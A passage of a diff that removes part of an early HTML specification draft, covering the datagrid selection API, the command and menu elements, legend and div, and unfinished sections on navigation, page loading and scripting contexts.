-  void <a href="#invert" title=dom-DataGridSelection-invert>invert</a>();
-  void <a href="#clear" title=dom-DataGridSelection-clear>clear</a>();
-};</pre>
-
-  <p>Each <code><a href="#datagrid1">datagrid</a></code> element must keep
-   track of which rows are currently selected. Initially no rows are
-   selected, but this can be changed via the methods described in this
-   section. <!--XXX
-  select-provider-selection The default data provider, for instance,
-  changes which rows are selected when it is first initialised.-->
-
-  <p>The selection of a <code><a href="#datagrid1">datagrid</a></code> is
-   represented by its <dfn id=selection0
-   title=dom-datagrid-selection><code>selection</code></dfn> DOM attribute,
-   which must be a <code><a
-   href="#datagridselection">DataGridSelection</a></code> object.
-
-  <p><code><a href="#datagridselection">DataGridSelection</a></code> objects
-   represent the rows in the selection. In the selection the rows must be
-   ordered in the natural order of the data provider (and not, e.g., the
-   rendered order). Rows that are not rendered because one of their ancestors
-   is closed must share the same selection state as their nearest rendered
-   ancestor. Such rows are not considered part of the selection for the
-   purposes of iterating over the selection.
-
-  <p class=note>This selection API doesn't allow for hidden rows to be
-   selected because it is trivial to create a data provider that has infinite
-   depth, which would then require the selection to be infinite if every row,
-   including every hidden row, was selected.
-
-  <p>The <dfn id=length2
-   title=dom-DataGridSelection-length><code>length</code></dfn> attribute
-   must return the number of rows currently present in the selection. The
-   <dfn id=itemindex2 title=dom-DataGridSelection-item><code>item(<var
-   title="">index</var>)</code></dfn> method must return the <var
-   title="">index</var>th row in the selection. If the argument is out of
-   range (less than zero or greater than the number of selected rows minus
-   one), then it must raise an <code>INDEX_SIZE_ERR</code> exception. <a
-   href="#refsDOM3CORE">[DOM3CORE]</a>
-
-  <p>The <dfn id=isselected
-   title=dom-DataGridSelection-isSelected><code>isSelected()</code></dfn>
-   method must return the selected state of the row specified by its
-   argument. If the specified row exists and is selected, it must return
-   true, otherwise it must return false.
-
-  <p>The <dfn id=setselected
-   title=dom-DataGridSelection-setSelected><code>setSelected()</code></dfn>
-   method takes two arguments, <var title="">row</var> and <var
-   title="">selected</var>. When invoked, it must set the selection state of
-   row <var title="">row</var> to selected if <var title="">selected</var> is
-   true, and unselected if it is false. If <var title="">row</var> is not a
-   row in the data grid, the method must raise an <code>INDEX_SIZE_ERR</code>
-   exception. If the specified row is not rendered because one of its
-   ancestors is closed, the method must do nothing.
-
-  <p>The <dfn id=selectall
-   title=dom-DataGridSelection-selectAll><code>selectAll()</code></dfn>
-   method must mark all the rows in the data grid as selected. After a call
-   to <code title=dom-DataGridSelection-selectAll><a
-   href="#selectall">selectAll()</a></code>, the <code
-   title=dom-DataGridSelection-length><a href="#length2">length</a></code>
-   attribute will return the number of rows in the data grid, not counting
-   children of closed rows.
-
-  <p>The <dfn id=invert
-   title=dom-DataGridSelection-invert><code>invert()</code></dfn> method must
-   cause all the rows in the selection that were marked as selected to now be
-   marked as not selected, and vice versa.
-
-  <p>The <dfn id=clear
-   title=dom-DataGridSelection-clear><code>clear()</code></dfn> method must
-   mark all the rows in the data grid to be marked as not selected. After a
-   call to <code title=dom-DataGridSelection-clear><a
-   href="#clear">clear()</a></code>, the <code
-   title=dom-DataGridSelection-length><a href="#length2">length</a></code>
-   attribute will return zero.
-
-  <p>If the <code><a href="#datagrid1">datagrid</a></code> element has a <dfn
-   id=multiple0 title=attr-datagrid-multiple><code>multiple</code></dfn>
-   attribute, then the user must be able to select any number of rows (zero
-   or more). If the attribute is not present, then the user must only be able
-   to select a single row at a time, and selecting another one must unselect
-   all the other rows.
-
-  <p class=note>This only applies to the user. Scripts can select multiple
-   rows even when the <code title=attr-datagrid-multiple><a
-   href="#multiple0">multiple</a></code> attribute is absent.
-
-  <p>Whenever the selection of a <code><a
-   href="#datagrid1">datagrid</a></code> changes, whether due to the user
-   interacting with the element, or as a result of calls to methods of the
-   <code title=dom-datagrid-selection><a
-   href="#selection0">selection</a></code> object, a <dfn id=select
-   title=event-select><code>select</code></dfn><!-- XXX check if we
-  really should be DFNing this here. It's a DOM3 Core event. What's
-  our story going to be regarding events and defining them? -->
-   event that bubbles but is not cancelable must be fired on the <code><a
-   href="#datagrid1">datagrid</a></code> element. If changes are made to the
-   selection via calls to the object's methods during the execution of a
-   script<!-- XXX should xref to a better explanation -->, then the <code
-   title=event-select><a href="#select">select</a></code> events must be
-   coalesced into one, which must then be fired<!--XXX xref again--> when the
-   script execution has completed<!-- XXX xref -->.
-
-  <p class=note>The <code><a
-   href="#datagridselection">DataGridSelection</a></code> interface has no
-   relation to the <code><a href="#selection1">Selection</a></code>
-   interface.
-
-  <h5 id=columns><span class=secno>3.18.2.9. </span>Columns and captions</h5>
-
-  <p><em>This section only applies to interactive user agents.</em>
-
-  <p>Each <code><a href="#datagrid1">datagrid</a></code> element must keep
-   track of which columns are currently being rendered. User agents should
-   initially show all the columns except those with the <code
-   title=datagrid-column-class-initially-hidden><a
-   href="#initially-hidden">initially-hidden</a></code> class, but may allow
-   users to hide or show columns. User agents should initially display the
-   columns in the order given by the data provider, but may allow this order
-   to be changed by the user.
-
-  <p>If columns are not being used, as might be the case if the data grid is
-   being presented in an icon view, or if an overview of data is being read
-   in an aural context, then the text of the first column of each row should
-   be used to represent the row.
-
-  <p>If none of the columns have any captions (i.e. if the data provider does
-   not provide a <code title=dom-provider-getCaptionText><a
-   href="#getcaptiontext">getCaptionText()</a></code> method), then user
-   agents may avoid showing the column headers at all. This may prevent the
-   user from performing actions on the columns (such as reordering them,
-   changing the sort column, and so on).
-
-  <p class=note>Whatever the order used for rendering, and irrespective of
-   what columns are being shown or hidden, the "first column" as referred to
-   in this specification is always the column with index zero, and the "last
-   column" is always the column with the index one less than the value
-   returned by the <code title=dom-provider-getcolumnCount><a
-   href="#getcolumncount">getColumnCount()</a></code> method of the data
-   provider.
-
-  <p>If <a href="#columnType2">a column is sortable</a>, then the user must
-   be able to invoke it to sort the data. When the user does so, then the
-   <code><a href="#datagrid1">datagrid</a></code> must invoke the data
-   provider's <code title=dom-provider-toggleColumnSortState><a
-   href="#togglecolumnsortstate">toggleColumnSortState()</a></code> method,
-   with the column's index as the only argument. The <code><a
-   href="#datagrid1">datagrid</a></code> must <em>then</em> act as if the
-   <code><a href="#datagrid1">datagrid</a></code>'s <code
-   title=dom-datagrid-updateEverything><a
-   href="#updateeverything">updateEverything()</a></code> method had been
-   invoked.</p>
-  <!--XXXDND
-  <h5>Drag and drop in <code>datagrid</code>s</h5>
-
-  <p><em>This section only applies to interactive user agents.</p>
-
-  <p class="big-issue">define drag and drop in datagrids; selectiondraggable, etc.</p>
--->
-
-  <h4 id=the-command><span class=secno>3.18.3. </span>The <dfn
-   id=command1><code>command</code></dfn> element</h4>
-
-  <p><a href="#metadata" title="metadata elements">Metadata element</a>, and
-   <a href="#strictly">strictly inline-level content</a>.</p>
-  <!-- XXX we sure we
-  want it to be metadata? -->
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>In a <code><a href="#head0">head</a></code> element.
-
-   <dd>Where <a href="#strictly">strictly inline-level content</a> is
-    allowed.
-
-   <dt>Content model:
-
-   <dd>Empty.
-
-   <dt>Element-specific attributes:
-
-   <dd><code title=attr-command-type><a href="#type11">type</a></code>
-
-   <dd><code title=attr-command-label><a href="#label">label</a></code>
-
-   <dd><code title=attr-command-icon><a href="#icon0">icon</a></code>
-
-   <dd><code title=attr-command-hidden><a href="#hidden">hidden</a></code>
-
-   <dd><code title=attr-command-disabled><a
-    href="#disabled3">disabled</a></code>
-
-   <dd><code title=attr-command-checked><a
-    href="#checked0">checked</a></code>
-
-   <dd><code title=attr-command-radiogroup><a
-    href="#radiogroup">radiogroup</a></code>
-
-   <dd><code title=attr-command-default><a href="#default">default</a></code>
-
-   <dd>Also, the <code title=attr-command-title><a
-    href="#title8">title</a></code> attribute has special semantics on this
-    element.
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>
-    <pre
-     class=idl>interface <dfn id=htmlcommandelement>HTMLCommandElement</dfn> : <a href="#htmlelement">HTMLElement</a> {
-           attribute DOMString <a href="#type12" title=dom-command-type>type</a>;
-           attribute DOMString <a href="#label0" title=dom-command-label>label</a>;
-           attribute DOMString <a href="#icon1" title=dom-command-icon>icon</a>;
-           attribute boolean <a href="#hidden0" title=dom-command-hidden>hidden</a>;
-           attribute boolean <a href="#disabled4" title=dom-command-disabled>disabled</a>;
-           attribute boolean <a href="#checked1" title=dom-command-checked>checked</a>;
-           attribute DOMString <a href="#radiogroup0" title=dom-command-radiogroup>radiogroup</a>;
-           attribute boolean <a href="#default0" title=dom-command-default>default</a>;
- void <a href="#click0" title=dom-command-click>click</a>(); // shadows <code><a href="#htmlelement">HTMLElement</a></code>.<code title=dom-click><a href="#click">click()</a></code>
-};</pre>
-
-    <p>The <code title=command-ro><a href="#command3">Command</a></code>
-     interface must also be implemented by this element.</p>
-  </dl>
-
-  <p>The <code><a href="#command1">command</a></code> element represents a
-   command that the user can invoke.
-
-  <p>The <dfn id=type11 title=attr-command-type><code>type</code></dfn>
-   attribute indicates the kind of command: either a normal command with an
-   associated action, or a state or option that can be toggled, or a
-   selection of one item from a list of items.
-
-  <p>The attribute's value must be either "<code title="">command</code>",
-   "<code title="">checkbox</code>", or "<code title="">radio</code>",
-   denoting each of these three types of commands respectively. The attribute
-   may also be omitted if the element is to represent the first of these
-   types, a simple command.
-
-  <p>The <dfn id=label title=attr-command-label><code>label</code></dfn>
-   attribute gives the name of the command, as shown to the user.
-
-  <p>The <dfn id=title8 title=attr-command-title><code>title</code></dfn>
-   attribute gives a hint describing the command, which might be shown to the
-   user to help him.
-
-  <p>The <dfn id=icon0 title=attr-command-icon><code>icon</code></dfn>
-   attribute gives a picture that represents the command. If the attribute is
-   specified, the attribute's value must contain a URI.
-
-  <p>The <dfn id=hidden title=attr-command-hidden><code>hidden</code></dfn>
-   attribute indicates, if present, that the command is not relevant and is
-   to be hidden. If present, the attribute must have the exact value <code
-   title="">hidden</code>.
-
-  <p>The <dfn id=disabled3
-   title=attr-command-disabled><code>disabled</code></dfn> attribute
-   indicates, if present, that the command is not available in the current
-   state. If present, the attribute must have the exact value <code
-   title="">disabled</code>.
-
-  <p class=note>The distinction between <a href="#disabled5"
-   title=command-facet-DisabledState>Disabled State</a> and <a
-   href="#hidden1" title=command-facet-HiddenState>Hidden State</a> is
-   subtle. A command should be Disabled if, in the same context, it could be
-   enabled if only certain aspects of the situation were changed. A command
-   should be marked as Hidden if, in that situation, the command will never
-   be enabled. For example, in the context menu for a water faucet, the
-   command "open" might be Disabled if the faucet is already open, but the
-   command "eat" would be marked Hidden since the faucet could never be
-   eaten.
-
-  <p>The <dfn id=checked0
-   title=attr-command-checked><code>checked</code></dfn> attribute indicates,
-   if present, that the command is selected. If present, the attribute must
-   have the exact value <code title="">checked</code>.
-
-  <p>The <dfn id=radiogroup
-   title=attr-command-radiogroup><code>radiogroup</code></dfn> attribute
-   gives the name of the group of commands that will be toggled when the
-   command itself is toggled, for commands whose <code
-   title=attr-command-type><a href="#type11">type</a></code> attribute has
-   the value "<code title="">radio</code>". The scope of the name is the
-   child list of the parent element.
-
-  <p>If the <code><a href="#command1">command</a></code> element is used when
-   <span title="menu generation">generating</span> a <span>context
-   menu</span>, then the <dfn id=default
-   title=attr-command-default><code>default</code></dfn> attribute indicates,
-   if present, that the command is the one that would have been invoked if
-   the user had directly activated the menu's subject instead of using its
-   context menu.
-
-  <div class=example>
-   <p class=big-issue>Need an example that shows an element that, if
-    double-clicked, invokes an action, but that also has a context menu,
-    showing the various <code><a href="#command1">command</a></code>
-    attributes off, and that has a default command.</p>
-  </div>
-
-  <p>The <dfn id=type12 title=dom-command-type><code>type</code></dfn>, <dfn
-   id=label0 title=dom-command-label><code>label</code></dfn>, <dfn id=icon1
-   title=dom-command-icon><code>icon</code></dfn>, <dfn id=hidden0
-   title=dom-command-hidden><code>hidden</code></dfn>, <dfn id=disabled4
-   title=dom-command-disabled><code>disabled</code></dfn>, <dfn id=checked1
-   title=dom-command-checked><code>checked</code></dfn>, <dfn id=radiogroup0
-   title=dom-command-radiogroup><code>radiogroup</code></dfn>, and <dfn
-   id=default0 title=dom-command-default><code>default</code></dfn> DOM
-   attributes must <a href="#reflect">reflect</a> their respective namesake
-   content attributes.
-
-  <p>The <dfn id=click0 title=dom-command-click><code>click()</code></dfn>
-   method's behaviour depends on the value of the <code
-   title=attr-command-type><a href="#type11">type</a></code> attribute of the
-   element, as follows:
-
-  <dl class=switch>
-   <dt>If the <code title=attr-command-type><a href="#type11">type</a></code>
-    attribute has the value <code title="">checkbox</code>
-
-   <dd>
-    <p>If the element has a <code title=attr-command-checked><a
-     href="#checked0">checked</a></code> attribute, the UA must remove that
-     attribute. Otherwise, the UA must add a <code
-     title=attr-command-checked><a href="#checked0">checked</a></code>
-     attribute, with the literal value <code title="">checked</code>. The UA
-     must then <a href="#firing">fire a <code title="">click</code> event</a>
-     at the element.
-
-   <dt>If the <code title=attr-command-type><a href="#type11">type</a></code>
-    attribute has the value <code title="">radio</code>
-
-   <dd>
-    <p>If the element has a parent, then the UA must walk the list of child
-     nodes of that parent element, and for each node that is a <code><a
-     href="#command1">command</a></code> element, if that element has a <code
-     title=attr-command-radiogroup><a
-     href="#radiogroup">radiogroup</a></code> attribute whose value exactly
-     matches the current element's (treating missing <code
-     title=attr-command-radiogroup><a
-     href="#radiogroup">radiogroup</a></code> attributes as if they were the
-     empty string), and has a <code title=attr-command-checked><a
-     href="#checked0">checked</a></code> attribute, must remove that
-     attribute and <a href="#firing">fire a <code title="">click</code>
-     event</a> at the element.</p>
-
-    <p>Then, the element's <code title=attr-command-checked><a
-     href="#checked0">checked</a></code> attribute attribute must be set to
-     the literal value <code title="">checked</code> and a <span title="file
-     a click event"><code title="">click</code> event must be fired</span> at
-     the element.
-
-   <dt>Otherwise
-
-   <dd>
-    <p>The UA must <a href="#firing">fire a <code title="">click</code>
-     event</a> at the element.
-  </dl>
-
-  <p class=note>Firing a synthetic <code title=event-click>click</code> event
-   at the element does not cause any of the actions described above to
-   happen.
-
-  <p class=big-issue> should change all the above so it actually is just
-   trigged by a click event, then we could remove the shadowing click()
-   method and rely on actual events.
-
-  <p class=big-issue>Need to define the command="" attribute
-
-  <p class=note><code><a href="#command1">command</a></code> elements are not
-   rendered unless they <a href="#menus">form part of a menu</a>.
-
-  <h4 id=the-menu><span class=secno>3.18.4. </span>The <dfn
-   id=menu0><code>menu</code></dfn> element</h4>
-
-  <p><a href="#block-level1" title="block-level elements">Block-level
-   element</a>, and <a href="#structured" title="structured inline-level
-   elements">structured inline-level element</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>Where <a href="#block-level1">block-level elements</a> are expected.
-
-   <dd>Where <a href="#structured">structured inline-level elements</a> are
-    allowed.
-
-   <dt>Content model:
-
-   <dd>Zero or more <code><a href="#li0">li</a></code> elements, or <a
-    href="#inline-level1">inline-level content</a> (but not both).
-
-   <dt>Element-specific attributes:
-
-   <dd><code title=attr-menu-type><a href="#type13">type</a></code>
-
-   <dd><code title=attr-menu-label><a href="#label1">label</a></code>
-
-   <dd><code title=attr-menu-autosubmit><a
-    href="#autosubmit">autosubmit</a></code>
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>
-    <pre
-     class=idl>interface <dfn id=htmlcommandelement0>HTMLCommandElement</dfn> : <a href="#htmlelement">HTMLElement</a> {
-           attribute DOMString <span title=dom-menu-type>type</span>;
-           attribute DOMString <span title=dom-menu-label>label</span>;
-           attribute boolean <span title=dom-menu-autosubmit>autosubmit</span>;
-};</pre>
-  </dl>
-
-  <p>The <code><a href="#menu0">menu</a></code> element represents a list of
-   commands.
-
-  <p>The <dfn id=type13 title=attr-menu-type><code>type</code></dfn>
-   attribute indicates the kind of menu. It must have either the value <code
-   title="">popup</code> (to declare a context menu) or the value <code
-   title="">toolbar</code> (to define a tool bar). The attribute may also be
-   omitted, to indicate that the element is merely a list of commands that is
-   neither declaring a context menu nor defining a tool bar.
-
-  <p>If a <code><a href="#menu0">menu</a></code> element has a <code
-   title=attr-menu-type><a href="#type13">type</a></code> attribute with the
-   value <code title="">popup</code>, then it represents the commands of a
-   context menu, and the user can only interact with the commands if that
-   context menu is activated.
-
-  <p>If a <code><a href="#menu0">menu</a></code> element has a <code
-   title=attr-menu-type><a href="#type13">type</a></code> attribute with the
-   value <code title="">toolbar</code>, then it represents a list of active
-   commands that the user can immediately interact with.
-
-  <p>Otherwise, if a <code><a href="#menu0">menu</a></code> element has no
-   <code title=attr-menu-type><a href="#type13">type</a></code> attribute, or
-   if has a <code title=attr-menu-type><a href="#type13">type</a></code>
-   attribute with a value other than <code title="">popup</code> or <code
-   title="">toolbar</code>, then it either represents an unordered list of
-   items (each represented by an <code><a href="#li0">li</a></code> element),
-   each of which represents a command that the user may perform or activate,
-   or, if the element has no <code><a href="#li0">li</a></code> element
-   children, a <a href="#paragraph">paragraph</a> describing available
-   commands.
-
-  <p>The <dfn id=label1 title=attr-menu-label><code>label</code></dfn>
-   attribute gives the label of the menu. It is used by user agents to
-   display nested menus in the UI. For example, a context menu containing
-   another menu would use the nested menu's <code title=attr-menu-label><a
-   href="#label1">label</a></code> attribute for the submenu's menu label.
-
-  <p>The <dfn id=autosubmit
-   title=attr-menu-autosubmit><code>autosubmit</code></dfn> attribute
-   indicates whether selections made to form controls in this menu should
-   result in the control's form being immediately submitted. If the attribute
-   is present, its value must be <code title="">autosubmit</code>.
-
-  <p>If a <code title=event-change>change</code> event bubbles through a
-   <code><a href="#menu0">menu</a></code> element, then, in addition to any
-   other default action that that event might have, the UA must act as if the
-   following was an additional default action for that event: if (when it
-   comes time to execute the default action) the <code><a
-   href="#menu0">menu</a></code> element has an <code
-   title=attr-menu-autosubmit><a href="#autosubmit">autosubmit</a></code>
-   attribute, and the target of the event is an <code>input</code> element,
-   and that element has a <code title=attr-input-type>type</code> attribute
-   whose value is either <code title="">radio</code> or <code
-   title="">checkbox</code>, and the <code>input</code> element in question
-   has a non-null <code title=dom-input-form>form</code> DOM attribute, then
-   the UA must invoke the <code title=dom-form-submit>submit()</code> method
-   of the <code>form</code> element indicated by that DOM attribute.
-
-  <p>The <a href="#menus">processing model</a> for menus is described in the
-   next section.
-
-  <h3 id=miscellaneous><span class=secno>3.19. </span>Miscellaneous elements</h3>
-
-  <h4 id=the-legend><span class=secno>3.19.1. </span>The <dfn
-   id=legend0><code>legend</code></dfn> element</h4>
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>As the first child of a <code>fieldset</code> element.
-
-   <dd>As the first child of a <code><a href="#details0">details</a></code>
-    element.
-
-   <dd>As a child of a <code><a href="#figure0">figure</a></code> element, if
-    there are no other <code><a href="#legend0">legend</a></code> element
-    children of that element.
-
-   <dt>Content model:
-
-   <dd>If used as a child of a <code>fieldset</code> or <code><a
-    href="#details0">details</a></code> element: <a href="#significant"
-    title="significant inline content">significant</a> <a
-    href="#strictly">strictly inline-level content</a>
-
-   <dd>If used as a child of a <code><a href="#figure0">figure</a></code>
-    element: <a href="#inline-level1">inline-level content</a>.
-
-   <dt>Element-specific attributes:
-
-   <dd>None.
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>No difference from <code><a
-    href="#htmlelement">HTMLElement</a></code>.
-  </dl>
-
-  <p>The <code><a href="#legend0">legend</a></code> element represents a
-   title or explanatory caption for the rest of the contents of the <code><a
-   href="#legend0">legend</a></code> element's parent element.
-
-  <h4 id=the-div><span class=secno>3.19.2. </span>The <dfn
-   id=div0><code>div</code></dfn> element</h4>
-
-  <p><a href="#block-level1" title="block-level elements">Block-level
-   element</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>Where <a href="#block-level1">block-level elements</a> are expected.
-
-   <dt>Content model:
-
-   <dd>Zero or more <a href="#block-level1">block-level elements</a>.
-
-   <dt>Element-specific attributes:
-
-   <dd>None.
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd><code title=class-error><a href="#error0">error</a></code>, <code
-    title=class-example><a href="#example1">example</a></code>, <code
-    title=class-issue><a href="#issue0">issue</a></code>, <code
-    title=class-note><a href="#note0">note</a></code>, <code
-    title=class-search><a href="#search1">search</a></code>, <code
-    title=class-warning><a href="#warning0">warning</a></code>
-
-   <dt>DOM interface:
-
-   <dd>No difference from <code><a
-    href="#htmlelement">HTMLElement</a></code>.
-  </dl>
-
-  <p>The <code><a href="#div0">div</a></code> element represents nothing at
-   all. It can be used with the <code title=attr-class><a
-   href="#class6">class</a></code>, <code title=attr-lang><a
-   href="#lang0">lang</a></code>/<code title=attr-xml-lang><a
-   href="#xmllang0">xml:lang</a></code>, and <code title=attr-title><a
-   href="#title1">title</a></code> attributes to mark up semantics common to
-   a group of consecutive elements.
-
-  <h2 id=processing-models><span class=secno>4. </span>Processing models</h2>
-
-  <h3 id=navigating><span class=secno>4.1. </span>Navigating across documents</h3>
-
-  <p><em>This section only applies to Web browsers.</em></p>
-  <!-- XXX or should it? should conformance checkers do the whole content-type sniffing thing? -->
-  <!--
- http://blogs.msdn.com/rssteam/articles/PublishersGuide.aspx
- http://lxr.mozilla.org/seamonkey/source/browser/components/feeds/src/nsFeedSniffer.cpp#192
--->
-
-  <p>Web browsers operate on <a href="#browsing" title="browsing
-   context">browsing contexts</a>, which have a <em><a
-   href="#session0">session history</a></em>.
-
-  <p>Certain actions cause the browsing context to <em>navigate</em> to a new
-   document. A new document could be an HTML or XML <code>Document</code>,
-   with a DOM, or it could be an image, or some other content. The new
-   resource in question could have a URI, or it could be anonymous, for
-   example a new document generated using the <code
-   title=dom-document-write><a
-   href="#document.write">document.write()</a></code> API.</p>
-  <!-- that is, window.open() followed by document.open()
-  followed by document.write(), i guess XXX -->
-
-  <p>In addition, a particular resource can have multiple entries in the
-   session history of a browsing context.
-
-  <p>The requirements that the session history concept puts on user agents
-   are defined in <a href="#history">the session history and navigation
-   section</a>, which is structured around the APIs provided for scripts to
-   interact with the session history.
-
-  <p><em>This</em> section discusses the various types of content that a user
-   agent may find itself requested to dispay in a content area, and covers
-   how those types of content should be handled.
-
-  <p class=big-issue>This section will end up defining what the UA should do
-   when the user clicks a link, types a link in the address bar, uses a
-   bookmark, etc. This will probably involve being honest about the fact that
-   UAs typically content sniff for RSS/Atom feeds at this point. It should
-   also reference the <code title=dom-navigator-registerProtocolHandler><a
-   href="#registerprotocolhandler">registerProtocolHandler</a></code> and
-   <code title=dom-navigator-registerContentHandler><a
-   href="#registercontenthandler">registerContentHandler</a></code> methods
-   and their stuff. Also involves the session history and bfcache (there's a
-   separate section on that though).</p>
-  <!--
-   XXX HTTP Content-Type handling?
-   http://www.25hoursaday.com/weblog/
-   http://www.alvestrand.no/pipermail/ietf-types/2006-April/001707.html
-   http://ln.hixie.ch/?start=1144794177AMPERSANDcount=1
-   http://www.intertwingly.net/blog/2006/04/13/Dont-throw-charset-out-with-the-bathwater
--->
-  <!-- XXX continue ... -->
-
-  <p class=big-issue>Must define the interaction of this with
-   document.write() pages and navigating to javascript: URIs.
-
-  <p class=big-issue>Must define that the global scope is cleared/put back
-   when navigating, so that Window objects from other windows looking at this
-   one see the attributes change when the page navigates; this does/doesn't
-   affect .watch(); make sure the .back()/.forward() definitions refer to
-   this section.
-
-  <h4 id=determining0><span class=secno>4.1.1. </span>Determining the type of
-   a new resource in a browsing context</h4>
-
-  <p class=big-issue>...</p>
-  <!--
-
-    first dispatch based on content-type:
-
-        any type OTHER than:
-             text/html
-             text/plain
-        ...should get honoured
-
-        then:
-
-         for text/plain;charset=iso-8859-1
-             text/plain;charset=ISO-8859-1
-         IF the content contains a character in the range .... in the [first 512 bytes]
-             -> treat as application/octet-stream? video/*? use extension?
-
-         for text/plain, text/html:
-         walk first 512 bytes as follows.
-
-         GO AND ANALYSE SOME OF THESE BABIES!!! Weeeee
-         
-
-
-    [first 512 bytes] means what when you have less than 512 bytes?
-
-
-  -->
-
-  <h4 id=read-html><span class=secno>4.1.2. </span>Page load processing model
-   for HTML files</h4>
-
-  <p>When an HTML page<!-- should we say "a resource with a text/html
-  MIME type? -->
-   (as opposed to an XML page) is loaded in a <a href="#browsing">browsing
-   context</a>, the user agent must begin to parse the stream of bytes as
-   described in <a href="#parsing">the parsing section</a>.
-
-  <p class=big-issue>create a <code>Document</code> node, mark it as being an
-   <a href="#html-" title="HTML documents">HTML document</a>, create an <a
-   href="#html-0">HTML parser</a>, associate them together, run the parser
-   while pushing bytes into the end of the input stream, push an explicit EOF
-   when you have no more bytes, and require the parser to wait for an
-   explicit EOF in this case (or some equivalent)
-
-  <p>This will usually eventually cause a <code title=event-load>load</code>
-   event to be fired.</p>
-  <!-- XXX continue... -->
-
-  <p class=big-issue>This needs to say that a parser is created, etc.
-
-  <h4 id=read-xml><span class=secno>4.1.3. </span>Page load processing model
-   for XML files</h4>
-
-  <p class=big-issue>Must make sure we don't step on the toes of other
-   specifications.
-
-  <h4 id=read-text><span class=secno>4.1.4. </span>Page load processing model
-   for text files</h4>
-
-  <p class=big-issue>Must make sure we don't step on the toes of other
-   specifications. This section should be referred to by the document.open()
-   stuff.
-
-  <h4 id=read-feed><span class=secno>4.1.5. </span>Page load processing model
-   for syndication feeds</h4>
-
-  <p class=big-issue>...
-
-  <h4 id=content-type><span class=secno>4.1.6. </span><dfn
-   id=content-type1>Content-Type</dfn></h4>
-  <!-- "explicit Content-Type metadata associated with the resource" -->
-  <!-- "the resource's type information" -->
-
-  <p class=big-issue>This is a placeholder section for some text that will
-   define exactly how to handle Content-Type headers for top-level browsing
-   contexts, for AMPERSANDlt;img>, AMPERSANDlt;embed>, AMPERSANDlt;object>, etc; and will cover
-   things like the fact that on some operating systems the extension of a URI
-   determines the Content-Type for file:// content, or something.
-
-  <h3 id=scripting><span class=secno>4.2. </span>Scripting</h3>
-
-  <div class=big-issue>
-   <p>Here are some of the things I think we should list:</p>
-
-   <ul>
-    <li>onload/onunload events
-
-    <li>alert() blocks scripts, even those on timeouts or readystatechange
-     events
-   </ul>
-   <!-- XXX what about event handlers on elements in document A
-   referring to methods in document A when browsing context holding
-   document A is moved to document B? Same with executing javascript:
-   URIs on elements from doc A in that situation -->
-   </div>
-
-  <h4 id=running><span class=secno>4.2.1. </span>Running executable code</h4>
-
-  <p>Various mechanisms can cause author-provided executable code to run in
-   the context of a document. These mechanisms include, but are probably not
-   limited to:
-
-  <ul>
-   <li>Processing of <code><a href="#script2">script</a></code> elements.
-
-   <li>Processing of inline <code title=javascript-scheme>javascript:</code>
-    URIs (e.g. the <code title=attr-img-src><a href="#src">src</a></code>
-    attribute of <code><a href="#img0">img</a></code> elements, or an <code
-    title="">@import</code> rule in a CSS <code><a
-    href="#style0">style</a></code> element block).
-
-   <li>Event handlers, whether registered through the DOM using <code
-    title="">addEventListener()</code>, by explicit <a href="#event1">event
-    handler content attributes</a>, by <a href="#event2">event handler DOM
-    attributes</a>, or otherwise.
-
-   <li>Processing of technologies like XBL or SVG that have their own
-    scripting features.
-  </ul>
-
-  <p>User agents may provide a mechanism to enable or disable the execution
-   of author-provided code. When the user agent is configured such that
-   author-provided code does not execute, or if the user agent is implemented
-   so as to never execute author-provided code, it is said that <dfn
-   id=scripting1>scripting is disabled</dfn>. When author-provided code
-   <em>does</em> execute, <dfn id=scripting2>scripting is enabled</dfn>. A
-   user agent with scripting disabled is a <a href="#non-scripted"
-   title="User agents with no scripting support">user agent with no scripting
-   support</a> for the purposes of conformance.
-
-  <h4 id=scripting0><span class=secno>4.2.2. </span>Scripting contexts</h4>
-
-  <p>Each <code>Document</code> in a <a href="#browsing">browsing context</a>
-   has an associated <dfn id=scripting3>scripting context</dfn>.
-
-  <h4 id=threads><span class=secno>4.2.3. </span>Threads</h4>
-
-  <p>Each <a href="#scripting3">scripting context</a> is defined as having a
-   list of zero or more <dfn id=reachable>reachable scripting contexts</dfn>.
-   These are:
-
-  <ul>
-   <li>All the <a href="#scripting3" title="scripting context">scripting
-    contexts</a> of all the <code>Document</code>s in each nested <a
-    href="#browsing">browsing context</a> inside the scripting context's
-    <code>Document</code>.
-
-   <li>The <a href="#scripting3">scripting context</a> of the
-    <code>Document</code> that contains the <code>Document</code>'s <a
-    href="#browsing">browsing context</a>.
-
-   <li>All the <a href="#scripting3" title="scripting context">scripting
-    contexts</a> of all the <code>Document</code>s associated with any <a
-    href="#top-level" title="top-level browsing context">top-level browsing
-    contexts</a> that were opened from a <code>Document</code> associated
-    with the <a href="#scripting3">scripting context</a>'s
-    <code>Document</code>'s <a href="#browsing">browsing context</a>.
-
-   <li>All the <a href="#scripting3" title="scripting context">scripting
-    contexts</a> of all the <code>Document</code>s associated with the <a
-    href="#top-level" title="top-level browsing context">top-level browsing
-    contexts</a> of the <a href="#browsing">browsing context</a> of the
-    <code><a href="#windowhtml">WindowHTML</a></code> object returned by the
-    <a href="#scripting3">scripting context</a>'s <code>Document</code>'s
-    <code><a href="#windowhtml">WindowHTML</a></code>'s <code
-    title=dom-opener>opener</code> attribute.
-  </ul>
-
-  <p>The transitive closure of all the <a href="#scripting3" title="scripting
-   context">scripting contexts</a> that are <a href="#reachable">reachable
-   scripting contexts</a> consists of a <dfn id=unit-of>unit of related
-   scripting contexts</dfn>.
-
-  <p>All the executable code in a <a href="#unit-of">unit of related
-   scripting contexts</a> must execute on a single conceptual thread. While a
-   script is executing, no other scripts in that <a href="#unit-of">unit of
-   related scripting contexts</a> must be started.
-
-  <p>Events fired by the user agent in response to user actions must be
-   queued, as must the execution of any timers. There must be only one queue
-   per <a href="#unit-of">unit of related scripting contexts</a>. When no
-   script in the <a href="#unit-of">unit of related scripting contexts</a> is
